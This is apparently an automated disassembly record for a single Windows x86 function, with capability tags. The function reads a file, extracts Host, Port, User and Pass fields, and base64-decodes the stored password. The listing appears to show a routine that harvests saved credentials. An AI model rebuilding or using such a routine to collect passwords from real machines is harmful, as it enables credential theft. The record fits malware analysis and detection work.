Function at 0x4048fb
Capabilities:
Decode data using base64 via winapi
Get file size
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x19c]
sub esp, 0x21c
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp + 0x198], eax
mov eax, dword [ebp + 0x1a4]
push ebx
push esi
push edi
mov esi, 0xff
xor ebx, ebx
push esi
mov dword [ebp - 0x70], eax
lea eax, [ebp + 0x99]
push ebx
push eax
mov edi, ecx
mov byte [ebp + 0x98], bl
call fcn.0055bfc0
push esi
lea eax, [ebp - 0x67]
push ebx
push eax
mov byte [ebp - 0x68], bl
call fcn.0055bfc0
add esp, 0x18
push ebx
push 0x80
push 3
push ebx
push 1
push connect
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x78], eax
cmp eax, 0xffffffff
jne 0x404976
xor eax, eax
jmp 0x404b66
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
lea eax, [esi + 1]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
mov dword [ebp - 0x7c], edi
cmp edi, ebx
je 0x404b61
push ebx
lea eax, [ebp - 0x80]
push eax
push esi
push edi
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x404b5a
mov dword [ebp - 0x6c], edi
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrA]
push str.Host
push dword [ebp - 0x6c]
call esi
cmp eax, ebx
je 0x4049de
push ebx
push eax
lea eax, [ebp + 0x98]
push eax
call fcn.004037e6
add esp, 0xc
mov dword [ebp - 0x6c], eax
jmp 0x4049e1
mov dword [ebp - 0x6c], ebx
cmp dword [ebp - 0x6c], ebx
je 0x404b4e
push dword [ebp - 0x70]
lea edi, [ebp + 0x98]
mov ecx, str.Host
call fcn.004036cd
mov dword [esp], str.Port
push dword [ebp - 0x6c]
call esi
cmp eax, ebx
je 0x404a1f
push ebx
push eax
mov eax, edi
push eax
call fcn.004037e6
add esp, 0xc
mov dword [ebp - 0x6c], eax
jmp 0x404a22
mov dword [ebp - 0x6c], ebx
cmp dword [ebp - 0x6c], ebx
je 0x404b4e
push dword [ebp - 0x70]
lea edi, [ebp + 0x98]
mov ecx, str.Port
call fcn.004036cd
mov dword [esp], str.User
push dword [ebp - 0x6c]
call esi
cmp eax, ebx
je 0x404a60
push ebx
push eax
mov eax, edi
push eax
call fcn.004037e6
add esp, 0xc
mov dword [ebp - 0x6c], eax
jmp 0x404a63
mov dword [ebp - 0x6c], ebx
cmp dword [ebp - 0x6c], ebx
je 0x404b4e
push dword [ebp - 0x70]
lea edi, [ebp + 0x98]
mov ecx, str.User
call fcn.004036cd
mov dword [esp], str.Pass
push dword [ebp - 0x6c]
call esi
cmp eax, ebx
je 0x404aa1
push ebx
push eax
mov eax, edi
push eax
call fcn.004037e6
add esp, 0xc
mov dword [ebp - 0x6c], eax
jmp 0x404aa4
mov dword [ebp - 0x6c], ebx
cmp dword [ebp - 0x6c], ebx
je 0x404b4e
mov edi, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
push ebx
push ebx
lea eax, [ebp - 0x74]
push eax
push ebx
push 1
push ebx
lea eax, [ebp + 0x98]
push eax
mov dword [ebp - 0x74], ebx
call edi
test eax, eax
je 0x404b05
mov eax, dword [ebp - 0x74]
inc eax
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
cmp esi, ebx
je 0x404b05
push ebx
push ebx
lea eax, [ebp - 0x74]
push eax
push esi
push 1
push ebx
lea eax, [ebp + 0x98]
push eax
call edi
push esi
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [ebp - 0x70]
lea edi, [ebp - 0x68]
mov ecx, str.Pass
call fcn.004036cd
mov edi, 0x100
push edi
lea eax, [ebp + 0x98]
push ebx
push eax
call fcn.0055bfc0
push edi
lea eax, [ebp - 0x68]
push ebx
push eax
call fcn.0055bfc0
mov edi, dword [ebp - 0x70]
add esp, 0x1c
inc dword [0x5ea2b8]
mov esi, 0x5d3ad4
call fcn.00403769
jmp 0x4049b4
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x7c]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [0x5ea2b8]
mov ecx, dword [ebp + 0x198]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0055a67a
add ebp, 0x19c
leave
ret